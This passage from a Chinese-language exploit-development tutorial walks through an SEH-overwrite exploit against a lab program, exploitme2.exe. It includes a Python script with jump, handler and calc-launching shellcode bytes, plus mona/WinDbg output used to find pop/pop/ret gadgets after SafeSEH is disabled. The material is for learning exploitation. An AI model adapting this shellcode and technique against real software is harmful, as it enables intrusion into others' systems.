"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
复制代码
若是你使用WinDbg调试exploitme2.exe,你将会发现出错了。咱们的handler(pop/pop/ret
)并无被调用,为何?
咱们来看一看已加载的模块:
0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules
---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x774b0000 | 0x774ba000 | 0x0000a000 | False | True | True | True | True | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
0x00190000 | 0x00196000 | 0x00006000 | False | True | True | False | False | -1.0- [exploitme2.exe] (exploitme2.exe)
0x752d0000 | 0x7532a000 | 0x0005a000 | False | True | True | True | True | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
0x764c0000 | 0x7658c000 | 0x000cc000 | False | True | True | True | True | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
0x76360000 | 0x763a7000 | 0x00047000 | False | True | True | True | True | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
0x752c0000 | 0x752c9000 | 0x00009000 | False | True | True | True | True | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
0x752b0000 | 0x752b7000 | 0x00007000 | False | True | True | True | True | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
0x758c0000 | 0x7595d000 | 0x0009d000 | False | True | True | True | True | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
0x75b50000 | 0x75be0000 | 0x00090000 | False | True | True | True | True | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
0x75dc0000 | 0x75ed0000 | 0x00110000 | False | True | True | True | True | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
0x75960000 | 0x75a0c000 | 0x000ac000 | False | True | True | True | True | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
0x75550000 | 0x7555c000 | 0x0000c000 | False | True | True | True | True | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
0x75560000 | 0x755c0000 | 0x00060000 | False | True | True | True | True | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
0x77bd0000 | 0x77d50000 | 0x00180000 | False | True | True | True | True | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
0x75ed0000 | 0x75f70000 | 0x000a0000 | False | True | True | True | True | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
0x77660000 | 0x77750000 | 0x000f0000 | False | True | True | True | True | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x6d510000 | 0x6d5fe000 | 0x000ee000 | False | True | True | True | True | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
0x764a0000 | 0x764b9000 | 0x00019000 | False | True | True | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
0x75ab0000 | 0x75ab5000 | 0x00005000 | False | True | True | True | True | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
0x761c0000 | 0x762c0000 | 0x00100000 | False | True | True | True | True | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
0x762f0000 | 0x76350000 | 0x00060000 | False | True | True | True | True | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------
[+] This mona.py action took 0:00:00.110000
复制代码
咱们能够看到全部已加载的模块具备SafeSEH = True属性。对于咱们来讲这显然是坏消息。若是某个模块启用了SafeSEH保护机制进行编译,同时它含有一个被容许的SEH handler列表以及地址被包含在那个模块中的handler,可是没在列表中的都被忽略了。
地址0x75dfd75d在模块kernel32.dll中,可是没有在它的已容许的handler列表中,所以咱们不能使用它。一般的解决方法是选择具备SafeSEH = False属性的模块,可是在咱们的案例中,启用了SafeSEH保护机制来对全部模块进行编译。
由于咱们在这只是正在学习“走路”,咱们在VS2013中经过修改配置关闭SafeSEH保护机制来对exploiotme2.exe进行重编译,修改的配置以下:
如今让咱们在exploitme2.exe中找到pop/pop/ret
序列:
0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe
---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00e90000 and 0x00e96000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop eax # pop esi # retn' : 1
- Number of pointers of type 'pop ecx # pop ecx # retn' : 1
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop ecx # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn' : 1
[+] Results :
0x00e91802 | 0x00e91802 (b+0x00001802) : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9152f | 0x00e9152f (b+0x0000152f) : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e918e7 | 0x00e918e7 (b+0x000018e7) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91907 | 0x00e91907 (b+0x00001907) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9112b | 0x00e9112b (b+0x0000112b) : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91630 | 0x00e91630 (b+0x00001630) : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
Found a total of 6 pointers
[+] This mona.py action took 0:00:00.170000
复制代码
咱们将使用第一个地址:0x00e91802.
这是已更新的Python脚本:
#!python
with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x02\x18\xe9\x00'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
复制代码
用WinDbg运行脚本并打开exploitme2.exe(没有启用SafeSEH保护机制的版本)。如今,不出咱们所料,计算器被弹出了!成功利用,可是咱们已经改写了一些代码。同时,在这里咱们假设不启用ASLR保护机制(对于如今来讲)
若是利用无法在你的系统上成功执行,那么多是由于在栈上的空间有限。能够参考文章drops.wooyun.org/tips/9948中的More space on stack部分进行解决